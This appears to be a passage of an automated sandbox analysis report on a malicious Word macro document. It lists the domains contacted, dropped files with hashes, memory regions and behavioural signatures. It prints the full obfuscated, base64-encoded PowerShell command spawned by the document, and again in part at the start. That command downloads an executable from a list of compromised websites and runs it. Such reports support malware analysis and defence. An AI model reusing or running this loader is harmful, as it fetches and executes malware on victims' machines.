HcAcAAnACkAKwAoACcALQBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQBuACcAKwAnAHQALwAnACsAKAAnAHUAJwArACcAcABsAG8AYQBkAHMALwAnACkAKwAnADIAMAAnACsAKAAnADIAMAAnACsAJwAvACcAKQArACgAJwAwACcAKwAnAGUAegAnACkAKwAoACcANQB1AG8ALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AYQAnACsAJwBtACcAKwAnAGUAcgAnACkAKwAnAGkAJwArACcAYwBhACcAKwAnAHMAJwArACcAbAAnACsAJwBlAGcAJwArACcAYQBsACcAKwAoACcAYwAnACsAJwBoAG8AaQBjAGUALgBjAG8AbQAvACcAKwAnAHAAaAAnACsAJwBwACcAKQArACgAJwBtAHkAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAnACsAJwAvAG4ARwAnACkAKwAnAGQAJwArACcAZABuACcAKwAoACcARgBvAEQAVwAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAOgAnACsAJwAvACcAKQArACgAJwAvAGMAJwArACcAaQByAC4AJwArACcAaQByAGIALgAnACkAKwAoACcAaAByACcAKwAnAC8AJwArACcAdwBwAC0AYwAnACkAKwAnAG8AJwArACgAJwBuAHQAJwArACcAZQBuAHQALwBEAGwAOQAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwB6AHAAJwArACcAbAB1AHMAcwAnACsAJwBoAG8AcAAnACkAKwAoACcAcABpAG4AZwAnACsAJwAuACcAKwAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAHcAcAAtACcAKwAnAGMAbwBuAHQAJwApACsAJwBlAG4AJwArACgAJwB0AC8AcAAnACsAJwBsAHUAJwArACcAZwBpAG4AJwApACsAJwBzAC8AJwArACcAWABnACcAKwAnAE8AUgAnACsAJwA2AEEAJwArACcALwAnACkALgAiAFMAYABQAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwAyAF8AdgBpAG8AegA9ACgAKAAnAEMAdgAnACsAJwBxAGgANwAnACkAKwAnAGsAMQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABKADgAMgBqADgAagB4ACAAaQBuACAAJABQAHgAOQA4AGIAbAA3ACkAewB0AHIAeQB7ACQATwA0AHEAdgByAGkAeAAuACIAZABgAG8AVwBgAE4ATABvAGEAZABGAGkAbABFACIAKAAkAEoAOAAyAGoAOABqAHgALAAgACQAWABiAGsAaQBjAGkAZAApADsAJABJAHkAOABqADgAbgA5AD0AKAAnAEIAJwArACgAJwA2AGIAJwArACcAcABuACcAKQArACcAdwBoACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABYAGIAawBpAGMAaQBkACkALgAiAEwAZQBOAGAAZwB0AEgAIgAgAC0AZwBlACAAMgA5ADUANwA5ACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAFgAYgBrAGkAYwBpAGQAKQA7ACQAQQA3ADQANABnAG8AegA9ACgAKAAnAEIAawAxACcAKwAnAGsAJwApACsAKAAnAGoAJwArACcAcAA1ACcAKQApADsAYgByAGUAYQBrADsAJABWADcAbgBqAHcAXwBtAD0AKAAoACcASABzAG8AbQAnACsAJwBrACcAKQArACcAcQBzACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBoADYAbwA5AHIAZwA9ACgAKAAnAEYAJwArACcAeQA1AGQAJwApACsAKAAnAGkAbwAnACsAJwA0ACcAKQApAA==

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

Network

Country Destination Domain Proto
US 8.8.8.8:53 guhaasmart.com udp
US 8.8.8.8:53 nacosvn.com udp
US 8.8.8.8:53 c.mymortgagegenius.ca udp
US 104.21.53.12:80 c.mymortgagegenius.ca tcp
US 104.21.53.12:443 c.mymortgagegenius.ca tcp
US 8.8.8.8:53 apps.identrust.com udp
IE 2.18.24.8:80 apps.identrust.com tcp
US 8.8.8.8:53 groupbps.com udp
US 172.67.154.37:80 groupbps.com tcp
US 8.8.8.8:53 americaslegalchoice.com udp

Files

memory/3056-0-0x000000002F231000-0x000000002F232000-memory.dmp

memory/3056-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/3056-2-0x00000000717BD000-0x00000000717C8000-memory.dmp

memory/3056-7-0x0000000005910000-0x0000000005A10000-memory.dmp

memory/3056-8-0x0000000006250000-0x0000000006350000-memory.dmp

memory/3056-18-0x0000000005910000-0x0000000005A10000-memory.dmp

memory/3056-23-0x0000000005910000-0x0000000005A10000-memory.dmp

memory/3056-33-0x0000000005910000-0x0000000005A10000-memory.dmp

memory/3056-32-0x0000000005910000-0x0000000005A10000-memory.dmp

memory/3056-34-0x0000000005910000-0x0000000005A10000-memory.dmp

memory/2724-40-0x000000001B600000-0x000000001B8E2000-memory.dmp

memory/2724-41-0x00000000022C0000-0x00000000022C8000-memory.dmp

memory/3056-46-0x00000000717BD000-0x00000000717C8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Cab2D3A.tmp

MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

C:\Users\Admin\AppData\Local\Temp\Tar2E2B.tmp

MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

MD5 1d19dcb0a3c5d7a476cd1f0782e9dc84
SHA1 d42aba55fbfa668ad31199abcdb0c4614ac8ec58
SHA256 f47dd1ae471d0922cc0546375216b324ff6896f2befa51c5073eb395c2f45fe4
SHA512 7c26a41043d39e906e689a7b306da8b10ffad949f9e046053b3a2acad18fd38b254e07e0fde7ba53a43b45417ad3da34f40f787e2b41c3f193f2f8270941c20d

memory/3056-113-0x0000000005910000-0x0000000005A10000-memory.dmp

memory/3056-115-0x0000000005910000-0x0000000005A10000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

MD5 ae941de3c668ba3d61212879032db55d
SHA1 61789c2a8f135bee4a27b6fb5c0935e3a2c0f1b3
SHA256 0b590acc74936d52ba0bc3b6d0235e177ec913cdc2280519323c595ff27db245
SHA512 208960c7cca4011fa6937318fc72877478cc51974398b8cc33c34882ca3afd816fc4eee3844e1918a356d383623570d1dfe549290858b7f14a7b640268e6a3dd

memory/3056-135-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/3056-136-0x00000000717BD000-0x00000000717C8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-31 06:08

Reported

2024-05-31 06:11

Platform

win10v2004-20240426-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\862d28b98cd5045920effd016877bf9a_JaffaCakes118.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\862d28b98cd5045920effd016877bf9a_JaffaCakes118.doc" /o ""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -e JABFAHAAeQBxADAAcABkAD0AKAAoACcATwBmACcAKwAnAGsAOQA0ACcAKwAnAGMAJwApACsAJwBjACcAKQA7ACYAKAAnAG4AZQAnACsAJwB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAVQBzAGUAUgBwAHIATwBmAGkATABFAFwAZgA1AF8AWABSAEYASwBcAFUAVABEADAATABHAGsAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIARQBjAHQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAYABVAFIAaQB0AFkAcABgAFIAbwB0AGAAbwBjAG8ATAAiACAAPQAgACgAKAAnAHQAbABzADEAJwArACcAMgAsACcAKQArACcAIAAnACsAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxACcAKwAnADEALAAgACcAKwAnAHQAbABzACcAKQApADsAJABRAGUAcwA0AGwAdgBiACAAPQAgACgAKAAnAFcAJwArACcAagBjAGMAJwApACsAKAAnAGsAXwAnACsAJwB1ADMAJwApACsAJwAyACcAKQA7ACQASwB0AGYAZgBxAHIANQA9ACgAKAAnAFEANwA5ACcAKwAnAHYAJwApACsAKAAnAHQAJwArACcANAAyACcAKQApADsAJABYAGIAawBpAGMAaQBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAMAB9AEYANQBfAHgAJwArACcAcgAnACsAJwBmAGsAewAwAH0AVQB0AGQAMABsAGcAJwArACcAawB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAGEAUgBdADkAMgApACsAJABRAGUAcwA0AGwAdgBiACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABDAGwANwBuAGsAMQByAD0AKAAoACcAQwBiACcAKwAnAGQAaQBhACcAKQArACcAZgA3ACcAKQA7ACQATwA0AHEAdgByAGkAeAA9ACYAKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgBXAGUAYgBjAEwAaQBlAG4AdAA7ACQAUAB4ADkAOABiAGwANwA9ACgAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGcAdQBoACcAKwAnAGEAYQBzAG0AJwApACsAKAAnAGEAJwArACcAcgB0ACcAKQArACgAJwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAoACcALQBjACcAKwAnAG8AJwApACsAKAAnAG4AdAAnACsAJwBlACcAKQArACcAbgAnACsAJwB0ACcAKwAoACcALwBTACcAKwAnAHMAJwApACsAJwBvACcAKwAnADgAJwArACcAVAAyACcAKwAoACcALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwBzADoAJwArACcALwAvAG4AJwArACcAYQBjACcAKQArACgAJwBvAHMAJwArACcAdgBuAC4AJwArACcAYwBvAG0ALwB3AHAAJwApACsAKAAnAC0AaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAnAGUAcwAnACsAJwAvACcAKQArACgAJwBVAGkAeQBRAE0AJwArACcAaAAnACkAKwAnAHAAJwArACcAdAAnACsAJwB0ACcAKwAoACcALwAqAGgAJwArACcAdAB0AHAAJwApACsAJwA6AC8AJwArACgAJwAvAGMALgBtAHkAJwArACcAbQBvACcAKwAnAHIAdAAnACkAKwAoACcAZwBhAGcAZQBnAGUAJwArACcAbgAnACsAJwBpAHUAJwApACsAKAAnAHMALgBjACcAKwAnAGEALwBsACcAKQArACcAaQAnACsAJwBiAC8AJwArACcAMABzACcAKwAoACcAYgAnACsAJwBIAC8AJwApACsAKAAnACoAaAAnACsAJwB0AHQAcAA6AC8AJwApACsAKAAnAC8AZwByACcAKwAnAG8AJwApACsAJwB1AHAAJwArACcAYgAnACsAKAAnAHAAJwArACcAcwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAHcAcAAnACkAKwAoACcALQBjACcAKwAnAG8AbgAnACkAKwAnAHQAJwArACcAZQBuACcAKwAnAHQALwAnACsAKAAnAHUAJwArACcAcABsAG8AYQBkAHMALwAnACkAKwAnADIAMAAnACsAKAAnADIAMAAnACsAJwAvACcAKQArACgAJwAwACcAKwAnAGUAegAnACkAKwAoACcANQB1AG8ALwAqAGgAdAB0AHAAOgAnACsAJwAvAC8AYQAnACsAJwBtACcAKwAnAGUAcgAnACkAKwAnAGkAJwArACcAYwBhACcAKwAnAHMAJwArACcAbAAnACsAJwBlAGcAJwArACcAYQBsACcAKwAoACcAYwAnACsAJwBoAG8AaQBjAGUALgBjAG8AbQAvACcAKwAnAHAAaAAnACsAJwBwACcAKQArACgAJwBtAHkAYQAnACsAJwBkAG0AJwApACsAKAAnAGkAbgAnACsAJwAvAG4ARwAnACkAKwAnAGQAJwArACcAZABuACcAKwAoACcARgBvAEQAVwAvACcAKwAnACoAJwApACsAKAAnAGgAJwArACcAdAB0AHAAJwApACsAKAAnAHMAOgAnACsAJwAvACcAKQArACgAJwAvAGMAJwArACcAaQByAC4AJwArACcAaQByAGIALgAnACkAKwAoACcAaAByACcAKwAnAC8AJwArACcAdwBwAC0AYwAnACkAKwAnAG8AJwArACgAJwBuAHQAJwArACcAZQBuAHQALwBEAGwAOQAnACsAJwAvACoAaAB0AHQAcAAnACsAJwA6AC8ALwB6AHAAJwArACcAbAB1AHMAcwAnACsAJwBoAG8AcAAnACkAKwAoACcAcABpAG4AZwAnACsAJwAuACcAKwAnAGMAJwArACcAbwBtAC8AJwApACsAKAAnAHcAcAAtACcAKwAnAGMAbwBuAHQAJwApACsAJwBlAG4AJwArACgAJwB0AC8AcAAnACsAJwBsAHUAJwArACcAZwBpAG4AJwApACsAJwBzAC8AJwArACcAWABnACcAKwAnAE8AUgAnACsAJwA2AEEAJwArACcALwAnACkALgAiAFMAYABQAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwAyAF8AdgBpAG8AegA9ACgAKAAnAEMAdgAnACsAJwBxAGgANwAnACkAKwAnAGsAMQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABKADgAMgBqADgAagB4ACAAaQBuACAAJABQAHgAOQA4AGIAbAA3ACkAewB0AHIAeQB7ACQATwA0AHEAdgByAGkAeAAuACIAZABgAG8AVwBgAE4ATABvAGEAZABGAGkAbABFACIAKAAkAEoAOAAyAGoAOABqAHgALAAgACQAWABiAGsAaQBjAGkAZAApADsAJABJAHkAOABqADgAbgA5AD0AKAAnAEIAJwArACgAJwA2AGIAJwArACcAcABuACcAKQArACcAdwBoACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABYAGIAawBpAGMAaQBkACkALgAiAEwAZQBOAGAAZwB0AEgAIgAgAC0AZwBlACAAMgA5ADUANwA5ACkAIAB7AC4AKAAnAEkAbgB2ACcAKwAnAG8AawBlACcAKwAnAC0ASQB0AGUAbQAnACkAKAAkAFgAYgBrAGkAYwBpAGQAKQA7ACQAQQA3ADQANABnAG8AegA9ACgAKAAnAEIAawAxACcAKwAnAGsAJwApACsAKAAnAGoAJwArACcAcAA1ACcAKQApADsAYgByAGUAYQBrADsAJABWADcAbgBqAHcAXwBtAD0AKAAoACcASABzAG8AbQAnACsAJwBrACcAKQArACcAcQBzACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBoADYAbwA5AHIAZwA9ACgAKAAnAEYAJwArACcAeQA1AGQAJwApACsAKAAnAGkAbwAnACsAJwA0ACcAKQApAA==

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 0.205.248.87.in-addr.arpa udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 guhaasmart.com udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 nacosvn.com udp
US 8.8.8.8:53 c.mymortgagegenius.ca udp
US 172.67.207.114:80 c.mymortgagegenius.ca tcp
US 172.67.207.114:443 c.mymortgagegenius.ca tcp
US 8.8.8.8:53 114.207.67.172.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 226.162.46.104.in-addr.arpa udp
US 8.8.8.8:53 metadata.templates.cdn.office.net udp
BE 2.17.196.160:443 metadata.templates.cdn.office.net tcp
US 8.8.8.8:53 binaries.templates.cdn.office.net udp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 160.196.17.2.in-addr.arpa udp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
SE 23.201.43.41:443 binaries.templates.cdn.office.net tcp
US 8.8.8.8:53 41.43.201.23.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 groupbps.com udp
US 172.67.154.37:80 groupbps.com tcp
US 8.8.8.8:53 americaslegalchoice.com udp
US 8.8.8.8:53 cir.irb.hr udp
US 34.149.87.45:443 cir.irb.hr tcp
US 8.8.8.8:53 37.154.67.172.in-addr.arpa udp
US 8.8.8.8:53 zplusshopping.com udp
US 8.8.8.8:53 45.87.149.34.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 89.16.208.104.in-addr.arpa udp

Files

memory/3668-0-0x00007FFE03030000-0x00007FFE03040000-memory.dmp

memory/3668-1-0x00007FFE4304D000-0x00007FFE4304E000-memory.dmp

memory/3668-4-0x00007FFE03030000-0x00007FFE03040000-memory.dmp

memory/3668-5-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-6-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-7-0x00007FFE03030000-0x00007FFE03040000-memory.dmp

memory/3668-2-0x00007FFE03030000-0x00007FFE03040000-memory.dmp

memory/3668-3-0x00007FFE03030000-0x00007FFE03040000-memory.dmp

memory/3668-8-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-9-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-11-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-10-0x00007FFE00E70000-0x00007FFE00E80000-memory.dmp

memory/3668-12-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-13-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-14-0x00007FFE00E70000-0x00007FFE00E80000-memory.dmp

memory/3668-15-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-16-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-17-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-20-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-21-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-19-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-18-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-31-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-34-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/996-73-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/996-79-0x000001AF1AAC0000-0x000001AF1AAE2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fix3ijfa.lk3.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3668-86-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-87-0x00007FFE4304D000-0x00007FFE4304E000-memory.dmp

memory/3668-88-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-332-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\TCD7841.tmp\sist02.xsl

MD5 f883b260a8d67082ea895c14bf56dd56
SHA1 7954565c1f243d46ad3b1e2f1baf3281451fc14b
SHA256 ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353
SHA512 d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

memory/3668-558-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-568-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/996-569-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/996-575-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp

memory/3668-597-0x00007FFE03030000-0x00007FFE03040000-memory.dmp

memory/3668-598-0x00007FFE03030000-0x00007FFE03040000-memory.dmp

memory/3668-599-0x00007FFE03030000-0x00007FFE03040000-memory.dmp

memory/3668-596-0x00007FFE03030000-0x00007FFE03040000-memory.dmp

memory/3668-600-0x00007FFE42FB0000-0x00007FFE431A5000-memory.dmp